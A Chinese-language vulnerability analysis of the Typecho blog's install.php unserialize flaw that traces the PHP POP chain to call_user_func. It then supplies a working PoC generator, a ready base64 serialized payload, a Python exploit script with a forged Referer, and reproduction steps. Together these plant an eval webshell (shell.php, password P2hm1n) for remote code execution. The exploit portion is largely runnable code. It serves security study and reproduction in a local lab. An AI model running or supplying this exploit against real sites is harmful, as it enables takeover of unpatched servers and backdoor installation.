Typecho 反序列化漏洞分析

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

触发点在 ./install.php 。是一个反序列化导致的任意代码执行,从而实现前台 getshell。

受影响版本:GitHub上2017年10月24日之前的所有版本。

漏洞分析

漏洞触发点在 ./install.php 。定位敏感函数 unserialize 。这里其实定位到了两个有关利用点,但是其实只有第一处能够利用。相关代码在 231-237行

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

寻找 unserialize 函数中变量是否可控。可见先经过一次 base64_decode 函数解码,然后调用的是 Typecho_Cookie 类下的 get 方法。

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

关键点在 value 附值处。可见设定了两个三元运算符进行嵌套, 通过 $_COOKIE$_POST 对其附值。可见这里我们可以直接通过 POST 方法来控制 key 的变量,从而控制 value 。

现在我们已经拥有了反序列化的点( unserialize ),和我们的可控变量( $_POST__typecho_config 附值)。

思考:我们通过反序列化得到了什么?

——》 $config 变量的可控性。

紧接着体现 $config 变量可控性的地方在 $db = new Typecho_Db($config['adapter'], $config['prefix']); 。 程序通过 Typecho_Db 进行了实例化。跟进方法

<?php
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
}

关键代码为 $adapterName = 'Typecho_Db_Adapter_' . $adapterName; , 这里进行了一个字符串的拼接。且 adapterName 是我们可控的。如果我们传入一个类,PHP就会做一个从类到字符串的强制类型转换。由此会触发那个类的 toString 方法。

我们目前的利用链为: install.php 反序列化导致 $config 变量可控 ——> Cookie.php. 拼接导致强制类型转换触发传入类 __tostring 方法。

接着我们就开始寻找我们可利用的 tostring 方法。一共三处,我们可以利用的只有 var/Typecho/Feed.php 一处。截取部分代码

class Typecho_Feed
{
    private $_items = array();

    /**
     * $item的格式为
     * <code>
     * array (
     *     'title'      =>  'xxx',
     *     'content'    =>  'xxx',
     *     'excerpt'    =>  'xxx',
     *     'date'       =>  'xxx',
     *     'link'       =>  'xxx',
     *     'author'     =>  'xxx',
     *     'comments'   =>  'xxx',
     *     'commentsUrl'=>  'xxx',
     *     'commentsFeedUrl' => 'xxx',
     * )
     * </code>
     *
     * @access public
     * @param array $item
     * @return unknown
     */
    public function addItem(array $item)
    {
        $this->_items[] = $item;
    }
    
    # ~ ~ ~ ~ ~ ~ 省略部分代码
    
               foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

关键点在 290行, $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; ,这里我们可控 $item['author'] 。当他被设置一个类,且从不可访问的属性 screenName 读取数据时,会调用 __get 方法。

我们目前的利用链为: install.php 反序列化导致 $config 变量可控 ——> Cookie.php. 拼接导致强制类型转换触发传入类 __tostring 方法。——> Feed.php 中控制 $item['author'] 去触发传入类的 __get 方法。

接着我们开始寻找 __get 方法。找到我们可以利用的文件 Request.php

class Typecho_Request
{
    public function __get($key)
    {
        return $this->get($key);
    }
}

跟进里面调用的 get 函数

class Typecho_Request
{
    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
        
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

最后 return 返回值经过了 _applyFilter 处理,跟进 _applyFilter

class Typecho_Request
{
    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

发现敏感函数: call_user_func 。且 $filter 通过 private $_filter = array(); + foreach ($this->_filter as $filter) 得到, $filter 可控。 $value 通过 _params[$key] 间接得到,所以也是可控的。

由此完成了我们的POP链

但在到达反序列化利用点( unserialize 函数)之前,代码进行了两个限制。大概功能在注释中也写的清楚明了了。

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

针对第一点: 通过GET传参 finish 就能绕过; 针对第二点: refer来自本站即可

最后有一个坑来自于 install.php 最开头的 ob_start();

@LoRexxar师傅提到

因为我们上面对象注入的代码触发了原本的 exception ,导致 ob_end_clean() 执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到 exception ,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为 call_user_func 函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处 exit 跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

同时 @pupiles 师傅也在blog中指出,由于调用了 ob_end_clean 方法清空了缓冲区。导致没有回显,但是php还是可以成功执行的,可以直接通过 file_put_contents 写入shell

解决了这个问题,整个利用ROP链就成立了

最终POP链为:

install.php 中的 unserialize 反序列化可控 $config 值导致的 $config['adapter'] 可控。

——》 Db.php 中进行PHP类型强制转换,触发 $config['adapter'] 可控类的 __tostring 方法

——》 Feed.php__tostring 方法内调用可控制类从不可访问的属性读取数据 $item['author']->screenName) 触发 __get 方法

——》 Request.php__get 方法调用 get 方法,调用 _applyFilter 方法中 的 call_user_func ,控制其内两个参数实现命令执行

其实光看POP链不怎么复杂,但是里面每一步构造,每一个方法的尝试调用都是要经过很多次的跟进和分析的。

编写 POC & EXP

顺着 @pupiles 师傅 bypass ob_start() 的思路写的POC。但是使用 @pupiles 师傅blog中的 POC 可能有一点小问题。由于PHP中双引号具有解析效果,这里的 POST 会被解析,最终写入的 webshell 的代码为 <?php @eval()?>

因此改良POC如下

<?php

//编写最后 call_user_func 函数利用的类
class Typecho_Request
{
    private $_filter = array();
    private $_params = array();

    public function __construct(){
        $this->_filter[0] = 'assert';   //采用传统回调利用,call_user_func + assert
        $this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[P2hm1n]); ?>")'; //bypass ob_start()限制
    }
}


class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
        );
    }
}

$final = new Typecho_Feed();
$poc = array(
    'adapter' => $final,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>

还有一种办法就是利用造成一个报错来构造POC。核心代码如下

public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }

最后简单的exp编写如下,没有对url做细致的处理。异常处理也不够细致。

import requests

url = 'http://typecho/'

def exp(url):
    if "http//" or "https://" in url:
        url = url
    else:
        url = 'http://' + url

    target = url + '/install.php?finish'
    fakerefer = url + '/install.php'
    payload = '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCJzaGVsbC5waHAiLCAiPD9waHAgQGV2YWwoXCRfUE9TVFtQMmhtMW5dKTsgPz4iKSI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
        'Referer': fakerefer,
        'cookie': payload
    }

    try:
        html = requests.get(url=target, headers=headers, timeout=5)
        if html.status_code == 404:
            return 'no install.php'
        else:
            print('mkdir:./shell.php, shell_password=P2hm1n')
    except:
        print('something wrong')

if __name__ == '__main__':
    exp(url)

漏洞复现

首先正常安装 typecho,本地环境 MacOS + MAMP PRO(PHP7.3.9+Mysql5.7)

安装过程中需要自己去数据库里新建一个空数据库,安装过程并不会帮助你新建一个空的数据库然后写入数据。

访问 url 为 http://typecho/install.php?finish。 refer设置根据自身情况改变

POST参数如下

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCJzaGVsbC5waHAiLCAiPD9waHAgQGV2YWwoXCRfUE9TVFtQMmhtMW5dKTsgPz4iKSI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D

即可在当前目录下生成 shell.php 文件,密码为 P2hm1n

参考链接

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章